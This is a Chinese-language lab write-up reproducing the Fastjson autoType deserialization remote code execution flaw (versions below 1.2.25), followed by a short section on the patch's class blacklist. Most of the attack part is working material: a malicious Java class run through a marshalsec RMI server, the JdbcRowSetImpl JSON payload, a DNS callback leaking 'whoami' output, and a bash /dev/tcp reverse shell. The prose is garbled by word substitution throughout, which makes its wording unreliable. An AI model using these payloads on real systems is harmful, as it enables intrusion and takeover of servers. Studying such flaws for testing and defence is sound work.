破绽简介
fastjson在解析json的过程中,支持运用autoType来实例化某一个详细的类,并调用该类的set/get办法来访问属性。经过查找代码中相关的办法,即可结构出一些歹意应用链。
浅显了解就是:破绽是应用fastjson autotype在处置json对象的时分,未对@type字段停止完整的平安性考证,攻击者能够传入风险类,并调用风险类衔接远程rmi主机,经过其中的歹意类执行代码。攻击者经过这种方式能够完成远程代码执行破绽的应用,获取效劳器的敏感信息泄露,以至能够应用此破绽进一步对效劳器数据停止修正,增加,删除等操作,对效劳器形成宏大的影响。
影响版本
Fastjson < 1.2.25
破绽复现
靶场地址:http://192.168.234.128:8090/
考证破绽存在(上线CEYE)
①编写歹意类Exploit.java文件
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh","-c","ping user.'whoami'.pj52oz.ceye.io"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
②将Exploit.java编译成class文件。
javac Exploit.java
③在Exploit.calss目录下运用python开启http效劳,运用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳,RMI效劳指向Exploit.calss网址。
python3 -m http.server 666 //运用Python3开启Web效劳
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.234.135:666/#Exploit" 9999 //marshalsec-0.0.3-SNAPSHOT-all.jar 开启RMI效劳
④Burpsuite改包发送payload,CEYE胜利记载。
payload:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.234.135:9999/Exploit",
"autoCommit":true
}
}
反弹shell
①歹意类Exploit.java文件中插入反弹shell代码
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.160.128/4444 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
②将Exploit.java编译成class文件。
javac Exploit.java
③在Exploit.calss目录下运用python开启http效劳,运用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI效劳,RMI效劳指向Exploit.calss网址,nc开启监听等候shell衔接。
python3 -m http.server 666 //运用Python3开启Web效劳
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.234.135:666/#Exploit" 9999 //marshalsec-0.0.3-SNAPSHOT-all.jar 开启RMI效劳
nc -lvnp 4444 //nc等候shell衔接
④Burpsuite改包发送payload,反弹shell胜利。
payload:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.234.135:9999/Exploit",
"autoCommit":true
}
}
工具检测
burp有插件https://github.com/Maskhe/FastjsonScan
破绽防御
在fastjson的官方补丁中,将loadClass(typeName, config.getDefaultClassLoader())交换为了config.checkAutoType(typeName),并且扩大了黑名单列表,将传入的类名与黑名单逐个比拟,假如发现了相同开头的类就中止反序列化。
// 新增的黑名单bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework
能够看到绝大局部常用的类都曾经被加进来了,但是假如不经常维护此名单,一旦后面呈现了新的能够应用的类,很容易就绕过这个限制。
感谢您的来访,获取更多精彩文章请收藏本站。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。